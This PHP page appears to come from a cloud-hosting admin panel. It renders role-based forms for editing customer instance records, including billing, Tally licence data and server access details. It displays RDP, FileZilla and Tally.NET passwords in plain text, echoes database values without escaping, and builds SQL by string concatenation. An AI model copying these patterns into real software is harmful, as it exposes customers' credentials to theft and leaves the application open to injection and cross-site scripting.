/home3/vehiclea/public_html/mamacloud/addInstanceEdit.php
<?php 
  session_start();
 $_SESSION['active'] = 'instanceReport';
   include 'header.php';
   include 'sidelinks.php'; 
   
   if(!empty($_GET['editId'])){ 
    $addInstance_edit = addInstance_edit($_GET['editId']); 
    $addInstData = mysqli_fetch_array($addInstance_edit); 


  } 

  if(isset($_POST['adminUpdate'])){ addinstanceAdminUpdateData(); } 
  if(isset($_POST['partnerUpdate'])){ addinstancePartnerUpdateData(); }
  if(isset($_POST['userUpdate'])){ addinstanceUserUpdateData(); }

  //   $addPartName = mysqli_query($conn,"SELECT firstName,lastName FROM addPartner where partnerId = '".$addInstData['partnerId']."'");
  //   $addPartNameData = mysqli_fetch_array($addPartName);
  //   $partnerName = $addPartNameData['firstName'].' '.$addPartNameData['lastName'];   
  ?>
    <style type="text/css"> 
  .clear{
    clear:both; 
  }

  #userNum{
    list-style: none;
    padding: 0px;
    width: 250px;
    position: absolute;
    margin: 0;
    z-index: 999;
  }

  #userNum li{
    background: lavender;
    padding: 4px;
    /*margin-bottom: 1px;*/
  }

  #userNum li:nth-child(even){
    background: cadetblue;
    color: white;
  }

  #userNum li:hover{
    cursor: pointer;
  }

  input[type=text]{
    padding: 5px;
    /*width: 250px;*/
    letter-spacing: 1px;
  } 

</style>

    <div class="content-wrapper"> 
         <div class="container-fluid"> 
            <div class="row">
               <div class="col-sm-12 p-0">
                  <div class="main-header">
                     <h4 style="color:#2567b3">UPDATE INSTANCE</h4>
                     <ol class="breadcrumb breadcrumb-title breadcrumb-arrow">
                        <li class="breadcrumb-item">
                           <a href="index.php">
                              <i class="icofont icofont-home"></i>
                           </a>
                        </li>
                        <li class="breadcrumb-item"><a href="#">Components</a></li>  
                        <li class="breadcrumb-item"><a href="instance.php"> Instance </a>
                        <li class="breadcrumb-item"><a href="addInstanceEdit.php">Update Instance </a> 
                        </li>
                     </ol>
                  </div>
               </div>
            </div>  
            <div class="row"> 
                  <div class="col-lg-12">  
                     <div class="card">
                        <div class="card-header">
                           <h5 class="card-header-text">Update Instance</h5> 
                        </div>  
                        <div class="card-block">  
                        <?php if($_SESSION['loginType'] == 'admin' || $_SESSION['loginType'] == 'super admin') { 
                               $logType     = $_SESSION['loginType'];
                               $logMailId   = $_SESSION['mailId'];  
                               $logPass     = $_SESSION['password']; 
                            
                            ?>

                           <form method="post" enctype="multipart/form-data">  
                          <div class="row"> 
                           
                            <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">USER ID <span style="color:red;">*</span></label>  
                                 <input class="form-control" value="<?php echo 
                                 $addInstData['userId']; ?>" readonly type="text" name="userId" required id="userId">
                                 </div>
                               <div class="form-group col-lg-4"> 
                                    <label class="col-form-label form-control-label">INSTANCE ID.NO. <span style="color:red;">*</span></label>  
                                    <input class="form-control" type="text" readonly value="<?php echo $addInstData['instanceId']; ?>">
                                 </div>
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">COMPANY NAME <span style="color:red;">*</span></label> 
                                       <input class="form-control" type="text" name="companyName"  required placeholder="ENTER COMPANY NAME" value="<?php echo $addInstData['companyName']; ?>"> 
                                 </div>
                                   <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">CREATED DATE <span style="color:red;">*</span></label> 
                                    <input class="form-control datepicker" type="text" name="dateofcreation" id="dateofcreation" required placeholder="ENTER CREATED DATE" value="<?php echo date('d-M-Y',strtotime($addInstData['dateofcreation'])); ?>"> 
                                 </div>
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">INSTANCE PERIOD MONTHS<span style="color:red;">*</span></label> 
                                    <input class="form-control" type="text" name="instancePeriod" id="instancePeriod" required placeholder="ENTER INSTANCES PERIOD MONTHS" value="<?php echo $addInstData['instancePeriod']; ?>"> 
                                 </div> 
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label"> EXPIRY DATE <span style="color:red;">*</span></label> 
                                    <input class="form-control" type="text" readonly name="instanceExpiryDate"  id ="instanceExpiryDate" required placeholder="ENTER INSTANCES EXPIRY DATE" value="<?php echo date('d-M-Y',strtotime($addInstData['instanceExpiryDate'])); ?>"> 
                                 </div>
                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">TOTAL USERS <span style="color:red;">*</span></label>
                                    <input class="form-control" type="text" name="totalUsers" id="totalUsers" required placeholder="ENTER TOTAL USERS" value="<?php echo $addInstData['totalUsers']; ?>"> 
                                 </div>
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">ACTIVE USERS</label> 
                                    <input class="form-control" type="text" name="activeUsers"  placeholder="ENTER ACTIVE USERS" value="<?php echo $addInstData['activeUsers']; ?>"> 
                                 </div>
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">RATE PER USER <span style="color:red;">*</span></label><input class="form-control" type="text"  name="ratePerUser" required placeholder="ENTER RATE PER USER" value="<?php echo $addInstData['ratePerUser']?>"> 
                                 </div>
                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">CLOUD ID <span style="color:red;">*</span></label><input class="form-control" type="text"  name="cloudId" required placeholder="ENTER CLOUD ID" value="<?php echo $addInstData['cloudId']?>"> 
                                 </div> 
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">TOTAL DUE <span style="color:red;">*</span></label> 
                                    <input class="form-control" type="text" name="totalDue" required placeholder="ENTER TOTAL DUE" value="<?php echo $addInstData['totalDue']?>"> 
                                 </div>
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">BILL GENERATED DATE <span style="color:red;">*</span></label> 
                                    <input class="form-control datepicker" type="text" name="billGeneratedDate" required placeholder="ENTER BILL GENERATED DATE" value="<?php echo date('d-M-Y',strtotime($addInstData['billGeneratedDate'])); ?>" > 
                                 </div>
                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">AMOUNT PAID DETAILS</label> 
                                    <input class="form-control" type="text" name="amountPaidDetails"  placeholder="ENTER AMOUNT PAID DETAILS"  value="<?php echo $addInstData['amountPaidDetails']?>"> 
                                 </div> 
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">UPI LINK</label> 
                                    <input class="form-control" type="text" name="UPILink"  placeholder="ENTER UPI LINK" value="<?php echo $addInstData['UPILink']; ?>"> 
                                 </div> 
                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">TALLY LICENSE SL.NO.</label> 
                                    <input class="form-control" type="text" name="tallyLicenseSlNo" placeholder="ENTER TALLY LICENSE SL.NO." value="<?php echo $addInstData['tallyLicenseSlNo']; ?>"> 
                                 </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY VERSION</label>
                                 <input class="form-control" type="text" name="tallyVersion"  placeholder="ENTER TALLY VERSION" value="<?php echo $addInstData['tallyVersion']; ?>">
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY RELEASE</label>
                                 <input class="form-control" type="text" name="tallyRelease"  placeholder="ENTER TALLY RELEASE" value="<?php echo $addInstData['tallyRelease']; ?>">
                              </div> 
                               <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY DOT NET ID</label>
                                 <input class="form-control" type="text" name="tallyDotNetId"  placeholder="ENTER TALLY DOT NET ID" value="<?php echo $addInstData['tallyDotNetId']; ?>">
                              </div>  
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY DOT NET PASSWORD</label>
                                 <input class="form-control" type="text" name="tallyDotNetPassword"  placeholder="TALLY DOT NET PASSWORD" value="<?php echo $addInstData['tallyDotNetPassword']; ?>">
                              </div>  
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TSS EXPIRY DATE </label>
                                 <input class="form-control datepicker" type="text" name="tssExpiryDate" value="<?php echo date('d-M-Y',strtotime($addInstData['tssExpiryDate'])); ?>" placeholder="ENTER TSS EXPIRY DATE">
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">CONTACT PERSON NAME <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="contactPersonName" required readonly id="name"  placeholder="ENTER CONTACT PERSON NAME" value="<?php echo $addInstData['contactPersonName']; ?>">
                              </div>
                                 <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">MOBILE NO <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" required nospace onkeypress="return isNumber(event)" maxlength="10" name="mobileNo" id="phoneNo" readonly placeholder="ENTER MOBILE NO" value="<?php echo $addInstData['mobileNo']; ?>">
                              </div>
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">E-MAIL ID <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="emailId" id="mailId" required readonly placeholder="ENTER E-MAIL ID" readonly value="<?php echo $addInstData['mailId']; ?>">
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">PASSWORD <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" id="password" required name="loginPass" readonly placeholder="ENTER PASSWORD" readonly value="<?php echo $addInstData['loginPass']; ?>">
                              </div> 
                               <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">SERVER IP <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="serverIp" required placeholder="ENTER SERVER IP" value="<?php echo $addInstData['serverIp']?>">
                              </div>
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label"> PORT <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="port" required value="<?php echo $addInstData['port']?>">
                              </div> 
                               <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">RDP LOGIN ID <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="rdpLoginId" required placeholder="ENTER RDP LOGIN ID" value="<?php echo $addInstData['rdpLoginId']; ?>">
                              </div>
                                <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">RDP LOGIN PASSWORD <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="password" required placeholder="ENTER PASSWORD" value="<?php echo $addInstData['password']; ?>">
                              </div>
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">FILEZILLA ID  </label>
                                 <input class="form-control" type="text" name="filezillaId" placeholder="ENTER FILEZILLA ID" value="<?php echo $addInstData['filezillaId']; ?>">
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">FILEZILLA PASSWORD </label>
                                 <input class="form-control" type="text" name="password1" placeholder="ENTER PASSWORD" value="<?php echo $addInstData['password1']; ?>">
                              </div>

                              <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">PARTNER NAME <span style="color:red;">*</span></label>  
                                 <input class="form-control" type="text" id="partnerName" readonly required placeholder="ENTER PARTNER NAME" value="<?php echo $partnerName; ?>">  
                                 <input type="hidden" name="partnerName" id="partnerId" value="<?php echo $addInstData['partnerId']?>"  >
                                 </div> 

                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">STATUS <span style="color:red;">*</span></label> 
                                    <select class="form-control" required name="status">  
                                    <option value = '1'<?php if($selPartnerData['status'] == '1') { ?> Selected <?php }  ?>> Active </option>
                                    <option value = '0' <?php if($selPartnerData['status'] == '0') { ?> Selected <?php }  ?>> In-Active </option> 
                                 </select>  
                                 </div> 


                            </div>  
                              <input type="hidden" name="edit_data" value="<?php echo $addInstData['id'] ?>">
                            <div class="form-group">
                                <center><button class="btn btn-success" name="adminUpdate">Update</button></center>
                              </div>
                           </form> 
                       <?php } else if ($_SESSION['loginType'] == 'partner') {
                           $logType = $_SESSION['loginType'];
                           $logMailId = $_SESSION['mailId'];  
                           $logPass = $_SESSION['password'];
                            
                            // $addInst = mysqli_query($conn,"SELECT * FROM addInstance where mailId = '$logMailId' and loginPass = '$logPass'");
                            // $addInstData = mysqli_fetch_array($addInst);
                        ?>
                        <form method="post" enctype="multipart/form-data">  
                          <div class="row">
                            <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">USER ID <span style="color:red;">*</span></label>  
                                 <input class="form-control" value="<?php echo $addInstData['userId']; ?>" readonly type="text" name="userId" required id="userId" placeholder="SEARCH USER ID Ex : 1001">
                                 </div>

                               <div class="form-group col-lg-4"> 
                                    <label class="col-form-label form-control-label">INSTANCE ID.NO. <span style="color:red;">*</span></label>  
                                    <input class="form-control" type="text" readonly value="<?php echo $addInstData['instanceId']; ?>">  
                                 </div>
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">COMPANY NAME <span style="color:red;">*</span></label> 
                                       <input class="form-control" type="text" name="companyName"  required placeholder="ENTER COMPANY NAME" value="<?php echo $addInstData['companyName']; ?>"> 
                                 </div>
                                   <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">CREATED DATE <span style="color:red;">*</span></label> 
                                    <input class="form-control datepicker" type="text" name="dateofcreation" id="dateofcreation" required placeholder="ENTER CREATED DATE" value="<?php echo date('d-M-Y',strtotime($addInstData['dateofcreation'])); ?>"> 
                                 </div>
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">INSTANCE PERIOD MONTHS<span style="color:red;">*</span></label> 
                                    <input class="form-control" type="text" value="<?php echo $addInstData['instancePeriod']; ?>" name="instancePeriod" id="instancePeriod" required placeholder="ENTER INSTANCES PERIOD MONTHS"> 
                                 </div> 
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label"> EXPIRY DATE <span style="color:red;">*</span></label> 
                                    <input class="form-control" type="text" readonly name="instanceExpiryDate"  id ="instanceExpiryDate" value="<?php echo date('d-M-Y',strtotime($addInstData['instanceExpiryDate'])); ?>" required placeholder="ENTER INSTANCES EXPIRY DATE"> 
                                 </div>
                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">TOTAL USERS <span style="color:red;">*</span></label>
                                    <input class="form-control" type="text" value="<?php echo $addInstData['totalUsers']; ?>" name="totalUsers" id="totalUsers" required placeholder="ENTER TOTAL USERS"> 
                                 </div>
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">ACTIVE USERS</label> 
                                    <input class="form-control" type="text" value="<?php echo $addInstData['activeUsers']; ?>" name="activeUsers"  placeholder="ENTER ACTIVE USERS"> 
                                 </div>
                                  <div class="form-group col-lg-4" style="display: none;">
                                    <label class="col-form-label form-control-label">RATE PER USER <span style="color:red;">*</span></label><input class="form-control" type="hidden" value="<?php echo $addInstData['ratePerUser']; ?>"  name="ratePerUser" required placeholder="ENTER RATE PER USER"> 
                                 </div>
                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">CLOUD ID <span style="color:red;">*</span></label><input class="form-control" type="text" value="<?php echo $addInstData['cloudId']; ?>"  name="cloudId" required placeholder="ENTER CLOUD ID"> 
                                 </div> 
                                  <div class="form-group col-lg-4" style="display: none;">
                                    <label class="col-form-label form-control-label">TOTAL DUE <span style="color:red;">*</span></label> 
                                    <input class="form-control" type="hidden" name="totalDue" required placeholder="ENTER TOTAL DUE" value="<?php echo $addInstData['totalDue']; ?>"> 
                                 </div>
                                  <div class="form-group col-lg-4" style="display: none;">
                                    <label class="col-form-label form-control-label">BILL GENERATED DATE <span style="color:red;">*</span></label> 
                                    <input class="form-control datepicker" type="hidden" name="billGeneratedDate" required placeholder="ENTER BILL GENERATED DATE" value="<?php echo $addInstData['billGeneratedDate']; ?>"> 
                                 </div>
                                 <div class="form-group col-lg-4" style="display: none;">
                                    <label class="col-form-label form-control-label">AMOUNT PAID DETAILS</label> 
                                    <input class="form-control" type="hidden" name="amountPaidDetails"  placeholder="ENTER AMOUNT PAID DETAILS" value="<?php echo $addInstData['amountPaidDetails']; ?>"> 
                                 </div> 
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">UPI LINK</label> 
                                    <input class="form-control" type="text"  name="UPILink"  placeholder="ENTER UPI LINK" readonly value="<?php echo $addInstData['UPILink']; ?>"> 
                                 </div> 
                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">TALLY LICENSE SL.NO.</label> 
                                    <input class="form-control"  value="<?php echo $addInstData['tallyLicenseSlNo']; ?>" type="text" name="tallyLicenseSlNo" placeholder="ENTER TALLY LICENSE SL.NO."> 
                                 </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY VERSION</label>
                                 <input class="form-control" value="<?php echo $addInstData['tallyVersion']; ?>" type="text" name="tallyVersion"  placeholder="ENTER TALLY VERSION">
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY RELEASE</label>
                                 <input class="form-control" value="<?php echo $addInstData['tallyRelease']; ?>" type="text" name="tallyRelease"  placeholder="ENTER TALLY RELEASE">
                              </div> 
                               <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY DOT NET ID</label>
                                 <input class="form-control" value="<?php echo $addInstData['tallyDotNetId']; ?>" type="text" name="tallyDotNetId"  placeholder="ENTER TALLY DOT NET ID">
                              </div>  
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY DOT NET PASSWORD</label>
                                 <input class="form-control" value="<?php echo $addInstData['tallyDotNetPassword']; ?>" type="text" name="tallyDotNetPassword"  placeholder="TALLY DOT NET PASSWORD">
                              </div>  
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TSS EXPIRY DATE </label>
                                 <input class="form-control datepicker" type="text" name="tssExpiryDate"  placeholder="ENTER TSS EXPIRY DATE" readonly value="<?php echo date('d-M-Y',strtotime($addInstData['tssExpiryDate'])); ?>" >
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">CONTACT PERSON NAME <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="contactPersonName" required  id="name"  placeholder="ENTER CONTACT PERSON NAME" value="<?php echo $addInstData['contactPersonName']; ?>">
                              </div>
                                 <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">MOBILE NO <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" required nospace onkeypress="return isNumber(event)" maxlength="10" name="mobileNo" id="phoneNo" placeholder="ENTER MOBILE NO" value="<?php echo $addInstData['mobileNo']; ?>">
                              </div>
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">E-MAIL ID <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="emailId" id="mailId" required readonly  placeholder="ENTER E-MAIL ID" value="<?php echo $addInstData['mailId']; ?>">
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">PASSWORD <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" id="password" required name="loginPass" readonly placeholder="ENTER PASSWORD" value="<?php echo $addInstData['loginPass']; ?>">
                              </div> 
                               <div class="form-group col-lg-4" style="display: none;">
                                 <label class="col-form-label form-control-label">SERVER IP <span style="color:red;">*</span></label>
                                 <input class="form-control" type="hidden" name="serverIp" value="<?php echo $addInstData['serverIp']; ?>" required placeholder="ENTER SERVER IP" readonly>
                              </div>
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label"> PORT <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="port" required value="<?php echo $addInstData['port']?>">
                              </div> 

                               <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">RDP LOGIN ID <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="rdpLoginId" required placeholder="ENTER RDP LOGIN ID" readonly value="<?php echo $addInstData['rdpLoginId']; ?>">
                              </div>
                                <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">RDP LOGIN PASSWORD <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="password" required placeholder="ENTER PASSWORD" readonly value="<?php echo $addInstData['password']; ?>">
                              </div>
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">FILEZILLA ID </label>
                                 <input class="form-control" type="text" name="filezillaId" placeholder="ENTER FILEZILLA ID" readonly value="<?php echo $addInstData['filezillaId']; ?>">
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">FILEZILLA PASSWORD </label>
                                 <input class="form-control" type="text" name="password1" placeholder="ENTER PASSWORD" readonly value="<?php echo $addInstData['password1']; ?>">
                              </div>

                              <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">PARTNER NAME <span style="color:red;">*</span></label>  
                                 <input class="form-control" type="text" id="partnerName" readonly required placeholder="ENTER PARTNER NAME" value="<?php echo $partnerName; ?>">  
                                 <input type="hidden" name="partnerName" id="partnerId" > 
                                 </div> 
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">STATUS <span style="color:red;">*</span></label> 
                                    <select class="form-control" required name="status">   
                                     <option value = '1'<?php if($selPartnerData['status'] == '1') { ?> Selected <?php }  ?>> Active </option>
                                    <option value = '0' <?php if($selPartnerData['status'] == '0') { ?> Selected <?php }  ?>> In-Active </option>
                                 </select>  
                                 </div>  
                            </div>  
                            <input type="hidden" value="<?php echo $addInstData['id']; ?>" name="edit_data">
                            <div class="form-group">
                                <center><input class="btn btn-success" name="partnerUpdate" type="submit" value="Update"></center>
                              </div>
                           </form>
                            <?php } else {  

                           // $logType     = $_SESSION['loginType'];
                           // $logMailId   = $_SESSION['mailId'];  
                           // $logPass     = $_SESSION['password'];
                           // $addInst     = mysqli_query($conn,"SELECT * FROM addInstance where mailId = '$logMailId' and loginPass = '$logPass'"); 
                           // $addInstData1 = mysqli_fetch_array($addInst);

                           $addPartName = mysqli_query($conn,"SELECT firstName,lastName FROM addPartner where partnerId = '".$addInstData['partnerId']."'");
                            $addPartNameData = mysqli_fetch_array($addPartName);
                            $partnerName = $addPartNameData['firstName'].' '.$addPartNameData['lastName'];


                        ?>
                        <form method="post" enctype="multipart/form-data">  
                          <div class="row">   
                               <div class="form-group col-lg-4"> 
                                    <label class="col-form-label form-control-label">INSTANCE ID.NO. </label>  
                                    <input class="form-control" type="text" id="instanceId" readonly value="<?php echo $addInstData['instanceId']; ?>">
                                 </div>
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">USER ID </label>  
                                 <input class="form-control" type="text" name="userId" readonly id="userId" value="<?php echo $addInstData['userId']; ?>"> 
                                 </div>
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">COMPANY NAME <span style="color:red;">*</span></label> 
                                       <input class="form-control" type="text" name="companyName"  required value="<?php echo $addInstData['companyName']; ?>"> 
                                 </div>
                                   <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">CREATED DATE <span style="color:red;">*</span></label> 
                                   <input class="form-control datepicker" type="text" name="dateofcreation" id="dateofcreation" required value="<?php echo date('d-M-Y',strtotime($addInstData['dateofcreation'])); ?>">   
                                 </div>
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">INSTANCE PERIOD MONTHS<span style="color:red;">*</span></label> 
                                    <input class="form-control" type="text" name="instancePeriod" id="instancePeriod" required value="<?php echo $addInstData['instancePeriod']; ?>"> 
                                 </div> 
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label"> EXPIRY DATE <span style="color:red;">*</span></label> 
                                    <input class="form-control" type="text" readonly name="instanceExpiryDate"  id ="instanceExpiryDate" required value="<?php echo date('d-M-Y',strtotime($addInstData['instanceExpiryDate'])); ?>"> 
                                 </div>
                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">TOTAL USERS <span style="color:red;">*</span></label>
                                    <input class="form-control" type="text" name="totalUsers" id="totalUsers" value="<?php echo $addInstData['totalUsers']; ?>" required> 
                                 </div>
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">ACTIVE USERS</label> 
                                    <input class="form-control" type="text" name="activeUsers" value="<?php echo $addInstData['activeUsers']; ?>"> 
                                 </div>
                                  <!-- <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">RATE PER USER <span style="color:red;">*</span></label><input class="form-control" type="text"  name="ratePerUser" required placeholder="ENTER RATE PER USER"> 
                                 </div> -->
                                <!--  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">CLOUD ID <span style="color:red;">*</span></label><input class="form-control" type="text"  name="cloudId" required placeholder="ENTER CLOUD ID"> 
                                 </div> 
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">TOTAL DUE <span style="color:red;">*</span></label> 
                                    <input class="form-control" type="text" name="totalDue" required placeholder="ENTER TOTAL DUE"> 
                                 </div> -->
                                  <!-- <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">BILL GENERATED DATE <span style="color:red;">*</span></label> 
                                    <input class="form-control datepicker" type="text" name="billGeneratedDate" required placeholder="ENTER BILL GENERATED DATE"> 
                                 </div> -->
                                 <!-- <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">AMOUNT PAID DETAILS</label> 
                                    <input class="form-control" type="text" name="amountPaidDetails"  placeholder="ENTER AMOUNT PAID DETAILS"> 
                                 </div>  -->
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">UPI LINK</label> 
                                    <input class="form-control" readonly type="text" name="UPILink" value="<?php echo $addInstData['UPILink']; ?>"> 
                                 </div> 
                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">TALLY LICENSE SL.NO.</label> 
                                    <input class="form-control" type="text" name="tallyLicenseSlNo"  value="<?php echo $addInstData['tallyLicenseSlNo']; ?>"> 
                                 </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY VERSION</label>
                                 <input class="form-control" type="text" name="tallyVersion" value="<?php echo $addInstData['tallyVersion']; ?>">
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY RELEASE</label>
                                 <input class="form-control" type="text" name="tallyRelease"  value="<?php echo $addInstData['tallyRelease']; ?>">
                              </div> 
                               <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY DOT NET ID</label>
                                 <input class="form-control" type="text" name="tallyDotNetId" value="<?php echo $addInstData['tallyDotNetId']; ?>">
                              </div>  
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY DOT NET PASSWORD</label>
                                 <input class="form-control" type="text" name="tallyDotNetPassword" value="<?php echo $addInstData['tallyDotNetPassword']; ?>">
                              </div>  
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TSS EXPIRY DATE </label>
                                 <input class="form-control" readonly type="text" name="tssExpiryDate" value="<?php echo date('d-M-Y',strtotime($addInstData['tssExpiryDate'])); ?>">
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">CONTACT PERSON NAME </label>
                                 <input class="form-control" type="text" name="contactPersonName" readonly id="name" value="<?php echo $addInstData['contactPersonName'];?>">
                              </div>
                                 <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">MOBILE NO </label>
                                 <input class="form-control" type="text" name="mobileNo" id="phoneNo" readonly value="<?php echo $addInstData['mobileNo']; ?>">
                              </div>
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">E-MAIL ID </label>
                                 <input class="form-control" type="text" name="emailId" id="mailId" readonly value="<?php echo $addInstData['mailId']; ?>">
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">PASSWORD </label>
                                 <input class="form-control" type="text" id="password" name="loginPass" readonly value="<?php echo $addInstData['password']; ?>">
                              </div> 
                               <!-- <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">SERVER IP <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="serverIp" required placeholder="ENTER SERVER IP">
                              </div> -->
                               <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">RDP LOGIN ID </label>
                                 <input class="form-control" readonly type="text" name="rdpLoginId" value="<?php echo $addInstData['rdpLoginId']; ?>">
                              </div>
                                <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">RDP LOGIN PASSWORD  </label>
                                 <input class="form-control" readonly type="text" name="password" value="<?php echo $addInstData['password']; ?>">
                              </div>
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">FILEZILLA ID </label>
                                 <input class="form-control" readonly type="text" name="filezillaId" value="<?php echo $addInstData['filezillaId']; ?>">
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">FILEZILLA PASSWORD </label>
                                 <input class="form-control" readonly type="text" name="password1" value="<?php echo $addInstData['password1']; ?>">
                              </div>

                              <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">PARTNER NAME </label>  
                                 <input class="form-control" type="text" id="partnerName" readonly value="<?php echo $partnerName; ?>">   
                                 <input type="hidden" value="<?php echo $addInstData['adminId']; ?>" id="adminId" name = 'partnerName'>
                                 <input type="hidden" value="<?php echo $addInstData['partnerId']; ?>" id="partnerId">
                                 </div>  
                            </div>  
                             <input type="hidden" name="edit_data2" value="<?php echo $addInstData['id'] ?>">
                            <div class="form-group">

                                <center><input class="btn btn-success" name="userUpdate" type="submit" value="Update"></center>
                              </div>
                           </form> 

                              <div class="row"> 
                            <?php  if(!empty($_POST['add'])) { addSUbUser(); } ?> 
                               <div class="form-group col-lg-8">
                                You can Create <span class ="balUser" id = "countUser"></span> more Sub Users 
                                <input type="hidden" class = "countUser" >
                              </div> 
                              <div class="form-group col-lg-4" align="right"><button type="button" id="addRowbutton" class="btn btn-danger"> <i class="icofont icofont-plus-square"></i> CREATE SUB USER </button></div><br>
                      </div> 
                        <div id="userList">

                            <?php   
                              $userLoginsData = mysqli_query($conn,"SELECT * FROM addUser where userId = '".$addInstData['userId']."'");
                              $instUserRec = mysqli_fetch_assoc($userLoginsData);
                            ?>
